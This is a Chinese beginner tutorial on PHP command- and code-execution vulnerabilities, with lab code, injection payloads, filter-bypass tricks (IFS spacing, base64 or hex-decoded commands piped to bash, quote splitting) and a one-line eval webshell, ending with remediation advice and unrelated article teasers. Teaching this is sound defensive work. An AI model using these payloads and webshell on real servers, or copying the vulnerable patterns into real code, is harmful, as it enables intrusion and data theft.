网络安全中的RCE命令执行漏洞----入门小白必看

RCE命令执行&代码执行漏洞

RCE命令执行漏洞

RCE漏洞简介

RCE(remote code/command execute) 远程代码/命令执行漏洞

RCE漏洞是两个漏洞:

  • 代码执行漏洞 # 针对后端语言!
  • 命令执行漏洞 # 针对系统!
如何产生

在 Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,从而随意执行系统命令,这就是命令执行漏洞,它属于高危漏洞之一。

在操作系统中,“&、|、||”等都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,从而造成漏洞。

漏洞挖掘

黑盒测试:测试网站特殊功能点,比如ping等(推荐)

白盒测试:通过代码审计,审计应用中存在的危险函数是否进行了严格过滤

常见函数
# 函数汇总
PHP中命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()
passthru()

把字符串当做系统命令运行

<?php passthru('whoami');?>

system()

把字符串当做系统命令运行

<?php system('whoami');?>

exec()

把字符串当做系统命令运行

<?php echo exec('whoami');?>

Windows下的命令执行漏洞利用

命令连接符
常用命令
cmd1 & cmd2		//命令前面的语句为假,则直接执行后面的;前面的语句为真,命令都执行
cmd1 && cmd2	//前面的语句为假,则直接出错,后面的也不执行;前面为真,都执行
cmd1 | cmd2		//前面命令正确,直接执行后面的语句;前面的语句为假,则直接出错,后面的也不执行
cmd1 || cmd2 	//前面出错,执行后面的;前面为真,只执行前面的
讲解

靶场

Windows命令执行漏洞,顾名思义,就是在Windows环境下存在的命令执行漏洞,通过相关的漏洞验证方法确认了存在命令执行漏洞后,我们可以使用Windows环境下的一些命令去对漏洞进行利用。

http://127.0.0.1/rce/win_cmd_ip.php?ip=localhost<?php
echo '<pre>';
$ip = $_GET['ip'];
system("ping ".$ip);
?>

代码中调用了system函数执行ping命令,正常输入?ip=localhost,会返回ping localhost的结果:

$ip是可控参数,可以通过Windows下的命令连接符执行多条命令,达到攻击的目的。输入?ip=localhost|whoami成功执行,返回当前用户的信息,如下图所示。当然也可以执行net user等其他关于用户账户管理的敏感操作。

Linux下的命令执行漏洞利用

命令连接符
常用命令
cmd1 ; cmd2		//使多个命令顺序执行,前面命令和后面命令的都会执行。
cmd1 & cmd2		//命令前面的语句为假,则直接执行后面的;前面的语句为真,命令都执行
cmd1 && cmd2	//前面的语句为假,则直接出错,后面的也不执行;前面为真,都执行
cmd1 | cmd2		//将第一个命令的输出作为第二个命令的输入,前面跟后面的都会执行,不论报错都显示后面的执行结果
cmd1 || cmd2 	//前面的命令执行成功后面的命令不会执行,前面的命令执行失败后面的命令会执行
讲解

靶场

命令执行绕过(以服务器为Linux为例)

1、空格过滤
①针对web传参【%09、%20】

①针对经过web传送的参数,将空格替换成%09 (tab键)%20(空格)等url编码。

②针对数据包【IFS1-9、<>、${IFS}】

②针对数据包,将空格替换成 $IFS$1-9 ,shell脚本中的编码。

➢ ip$IFS$9addr

➢ cat$IFS$9hello.txt

③针对数据包,cat命令可以将中间的空格换成<>或者${IFS}

➢ cat< ;>hello.txt

➢ cat${IFS}hello.txt

2、关键字过滤(编码绕过)
①base64编码

Ⅰ原理解释(linux base64系统自带)

➢ echo "abcd" | base64(命令行进行base64加密)

➢ echo "YWJjzAo=" | base64 -d(命令行对base64解密)

Ⅱ实现输入的命令中没有ls但执行ls的功能

➢ echo "ls" | base64

➢ echo "bHMK" | base64 -d | bash

➢ echo "bHMK" | base64 -d | sh(将命令经过base64解码后的命令ls进行执行)

Ⅲ实现输入的命令中没有cat但执行cat的功能(下面的ls要换成cat)

②hex编码(需要有装xxd命令)

-r 解码

-p 省略0x

➢ echo "abcd" | xxd(命令行进行hex编码)

➢ echo "616263640a" | xxd -r -p(命令行进行hex解码)

➢ echo "ls" | xxd

➢ echo "6c730a" xxd -r -p | bash(执行ls命令)

➢ echo "6c730a" xxd -r -p | sh(执行ls命令)

如果目标服务器没有xxd命令,可以考虑下列语句:

$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")

{printf,"\x63\x61\x74\x20\x66\x6c\x61\x67"}|sh

3、偶读拼接(过滤某个单词)

原理:利用变量将最后的字符拼接起来

当前目录有个hello.txt 的文件,可以使用”a=hel;b=lo;cat $a$b.txt“进行读取。

同理执行—条命令可以使用a=l;b=s;$a$b进行执行。

4、%0a绕过

%0a代表换行,通过%0a注入一条新的命令

有些函数只会识别和处理第一行的相关字符,使用%0a将数据换行,可以绕过一些函数执行命令。%0a表示换行,通过%0a能够注入—条新的命令进行执行。

5、花括号{}

linux中,可以使用执行系统命令,同时可以使用逗号代替空格。

针对数据包,{ip,addr} , {cat,hello.txt},{ls,},如果是单命令也需要加上一个逗号。

6、内联执行

``反引号里面的系统命令会限制令,成功执行后会将结果传递给调用它的命令。`

➢ echo "a 'pwd" //先执行pwd命令,后将结果拼接回echo命令。

7、引号执行(绕过)

cat fl''ag

cat fl''a""g

➢ cat he""Il"o.txt //命令正常执行

8、通配符执行

shell命令中?和*可以用来(在当前路径下)匹配任意字符:

?代表一个未知字符

*代表n个未知字符

➢ cat hel* //查看当前目录下所有以he开头的文件

➢ cat hello.??? //利用?匹配txt

?匹配任意—个字符。

*匹配多个字符。

与正则表达式的区别,正则中,?匹配前面的字符或表达式一次或零次,*匹配前面的字符或表达式多次或零次。

下图是缺少一个问号-->报错

9、反斜杠执行(转义)

➢ c/at hello.txt //命令正常执行

10、方括号

➢ cat hel[l]o.txt //命令正常执行,但是不可加到命令关键字里面。

➢ ca[t] hel[l]o.txt //报错

命令执行漏洞修复

一、PHP配置文件禁用敏感函数

通过php配置文件中的disable_functions禁用敏感函数。

二、使用相关过滤函数处理相关参数

1、escapeshellarg函数

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数,过滤命令中的参数。

2、escapeshellarg函数

escapeshellcmd — shell 元字符转义,过滤命令。

RCE代码执行漏洞

RCE漏洞介绍

有的应用程序中提供了一些可以将字符串作为代码执行的函数,例如PHP中的eval函数,可以将该函数中的参数当作PHP代码来执行。如果对这些函数的参数控制不严格,就可能会被攻击者利用,执行恶意代码。

常见函数
# 函数汇总
PHP中代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、 call_user_func_array()、array_filter()、uasort()
eval()函数

eval函数把字符串作为PHP代码执行。一般用于写入一句话木马。如:

<?php @eval($_POST['pwd']);?>HackBar: 
http://127.0.0.1/rce/test.php
pwd = echo "Hello World!";
pwd = phpinfo();
assert函数

assert函数检查一个断言是否为FALSE。

assert函数会检查指定的assertion并在结果为FALSE时采取适当的行动。如果assertion是字符串,它会被assert函数当作PHP代码来执行。如:

<?php @assert($_POST[1])?>HackBar:
1 = phpinfo();
preg_replace函数

preg_replace函数执行一个正则表达式的搜索和替换。

preg_replace函数搜索subject中匹配pattern的部分,以replacement进行替换。

preg_replace函数示例代码如下:

<?php
$subject='hello hack';
$pattern='/hack/';
$replacement=$_GET["name"];
echo preg_replace($pattern,$replacement,$subject);
?>GET:
?name = xxx
PHP可变函数
<?php
function foo(){
echo "foo";
}
function bar($arg='')( 
echo "bar";
}
function echoit($string)
echo $string;
}
$func=$_REQUEST['func'];
$string=$_REQUEST['string'];
echo $func($string);
?>http://localhost:63342/WWW/rce/php可变函数.php?func=echoit&string=test
http://localhost:63342/WWW/rce/php可变函数.php?func=system&string=whoami

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/448268.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【SEO】什么是SEO?

什么是SEO&#xff08;搜索引擎优化&#xff09;&#xff1f;为什么SEO对于⼀个⽹站⾄关重要&#xff1f; SEO 全称是搜索引擎优化&#xff08;Search Engine Optimization&#xff09; 因为我们目前开发的网址&#xff0c;需要人看到&#xff0c;除了通过宣传营销的方式展现…

前端布局与响应式设计综合指南(二)

​&#x1f308;个人主页&#xff1a;前端青山 &#x1f525;系列专栏&#xff1a;Css篇 &#x1f516;人终将被年少不可得之物困其一生 依旧青山,本期给大家带来Css篇专栏内容:前端布局与响应式设计综合指南(二) 目录 23、行内元素和块级元素&#xff1f;img算什么&…

影刀RPA实战:操作Mysql数据库

1.摘要 影刀RPA&#xff08;Robotic Process Automation&#xff09;是一种软件自动化工具&#xff0c;它可以模拟人类用户执行各种重复性任务&#xff0c;其中包括对数据库的操作。 我们可以使用软件自动化指令&#xff0c;通过获取数据库窗口对象来操作数据库&#xff0c;也…

《探秘数据合规官CCRC-DCO人员能力验证》

在当今竞争激烈的商业世界中&#xff0c;“数据合规官CCRC-DCO人员能力验证”这个词逐渐走入人们的视野。但究竟什么是数据合规官CCRC-DCO人员能力验证呢&#xff1f; 首先&#xff0c;咱们来明确一下概念。数据合规官CCRC-DCO人员能力验证&#xff0c;简单来说&#xff0c;就…

数仓范式建模和维度建模有什么不同?

在数据库设计的复杂世界中&#xff0c;还有一类建模方法&#xff0c;为范式建模&#xff0c;是一种旨在优化数据库结构、提高数据一致性和完整性的设计方法。本文将深入探讨范式建模的概念、原理、步骤以及与维度建模的区别。 一、什么是范式建模&#xff1f; 范式建模是一种…

Chromium 中window.DOMParser接口说明c++

一、DOMParser DOMParser 可以将存储在字符串中的 XML 或 HTML 源代码解析为一个 DOM Document。 备注&#xff1a; XMLHttpRequest 支持从 URL 可寻址资源解析 XML 和 HTML&#xff0c;在其response 属性中返回Document。 你可以使用XMLSerializer 接口执行相反的操作 - 将…

接口测试自动化后起之秀-YApi接口管理平台

前言 众多接口管理工具如雨后春笋&#xff0c;让人欣慰的是&#xff0c;有许多优秀作品来自国内&#xff0c;包含Yapi和rap&#xff0c;看着中文的官网&#xff0c;华丽的汉语&#xff0c;不禁让人大快朵颐&#xff0c;暗自称爽。当然这也就带来另一个弊端&#xff0c;使用基数…

nodejs的卸载和nvm安装

由于项目需求&#xff0c;需要多版本控制的nodejs&#xff0c;所以要把原来的nodejs卸载干净&#xff0c;然后再装nvm 常见问题 1.在安装nvm的时候没有卸载node&#xff0c;导致使用nvm安装完之后&#xff0c;node和npm都不可用。 2.在第一次使用nvm安装node后&#xff0c;要…

从零开始使用最新版Paddle【PaddleOCR系列】——第二部分:自建数据集 + 模型微调训练

目录 一、自建数据集 1.官方数据集格式参考 2.自建数据集txt文件编写代码 3.数据集检验 二、模型训练 1.模型配置yaml文件 2.命令行指令训练 在上一篇文章中&#xff0c;构建好了paddleOCR 运行必需的环境&#xff0c;并通过在线下载的方式&#xff0c;使用官方训练好的模型进…

深入理解 JDK 的 Optional 类

深入理解 JDK 的 Optional 类 深入理解 JDK 的 Optional 类1. 什么是 Optional&#xff1f;1.1 主要构造方法示例 2. Optional 的常用方法2.1 判断值是否存在示例2.2 获取值示例2.3 进行操作示例 3. 使用场景3.1 避免 null 值示例3.2 提高代码可读性3.3 与流结合示例 4. 注意事…

中航资本:股市融资50万一天的利息是多少?融资一般多久归还?

融资官方利率是8.35%&#xff0c;实际上大部分券商融资利息在6%~8%左右&#xff0c;详细利率因券商及投资者状况而异。少部分券商可提供低至5%&#xff0c;乃至更低的优惠利率。 该利息按天然日核算&#xff0c;融资利息融资金额融资年利率实际使用资金的天然日天数/360。 假…

基于深度学习的细粒度图像分析综述【翻译】

&#x1f947; 版权: 本文由【墨理学AI】原创首发、各位读者大大、敬请查阅、感谢三连 &#x1f389; 声明: 作为全网 AI 领域 干货最多的博主之一&#xff0c;❤️ 不负光阴不负卿 ❤️ 文章目录 基础信息0 摘要1 INTRODUCTION2 识别与检索 RECOGNITION VS. RETRIEVAL3 问题和…

React01 开发环境搭建

React 开发环境搭建 一、创建 React 项目二、项目精简 一、创建 React 项目 执行下述命令创建 react 项目 blu-react-basis npx create-react-app blu-react-basis项目目录结构如下&#xff1a; 执行下述命令启动项目 npm run start启动效果如下&#xff1a; 二、项目精简 …

Vue.js 错误异常: Component template should contain exactly one root element.

一、错误异常&#xff1a; Errors compiling template: Component template should contain exactly one root element. If you are using v-if on multiple elements, use v-else-if to chain them instead. 二、原因 组件模板应该只包含一个根元素 查看vue代码&#xff0c;发…

OpenCV-人脸检测

文章目录 一、人脸检测流程二、关键方法三、代码示例四、注意事项 OpenCV是一个开源的计算机视觉和机器学习软件库&#xff0c;它提供了多种人脸检测方法&#xff0c;以下是对OpenCV人脸检测的详细介绍&#xff1a; 一、人脸检测流程 人脸检测是识别图像中人脸位置的过程&…

【C语言】数据输出格式控制

数据的输出格式修饰 常用两种&#xff1a; 整型中&#xff0c;输出数据左对齐、右对齐、占m位、不足m位前补0。浮点型中&#xff0c;默认通过四舍五入保留小数点后6位&#xff0c;通过参数设置保留小数点后n位。 #include <stdio.h> #define PI 3.14159 /* 功能&#x…

2024怎么选择网站建设公司?2024靠谱建站公司推荐TOP3

说起怎么挑个靠谱的网站建设公司啊&#xff0c;我觉得有这么几点挺关键的&#xff0c;咱们可以聊聊&#xff1a; 首先啊&#xff0c;你得瞅瞅这公司啥背景&#xff0c;成立了多久了&#xff0c;团队大不大&#xff0c;都服务过哪些客户&#xff0c;有啥拿得出手的成功案例没。…

如何判断通风天窗的优劣

通风天窗是否优质直接决定天窗的通风采光效果&#xff0c;影响厂房的空气质量。判断通风天窗的优劣主要从天窗使用材料、防水密封性能、通风性能、安装与售后服务等多方面出发。‌ ‌通风天窗使用材料是判断通风天窗优劣的重要因素之一。优质的通风天窗应采用耐候性强、坚固耐用…

ESP32-S3无法下载且报错的原因

该文将作为ESP32-S3下载报错记录&#xff0c;将持续更新 ARDUINO-IDE: Sketch uses 289393 bytes (22%) of program storage space. Maximum is 1310720 bytes. Global variables use 18408 bytes (5%) of dynamic memory, leaving 309272 bytes for local variables. Maximu…

多态常见面试问题

1、什么是多态&#xff1f; 多态&#xff08;Polymorphism&#xff09;是面向对象编程中的一个重要概念&#xff0c;它允许同一个接口表现出不同的行为。在C中&#xff0c;多态性主要通过虚函数来实现&#xff0c;分为编译时多态&#xff08;静态多态&#xff09;和运行时多态…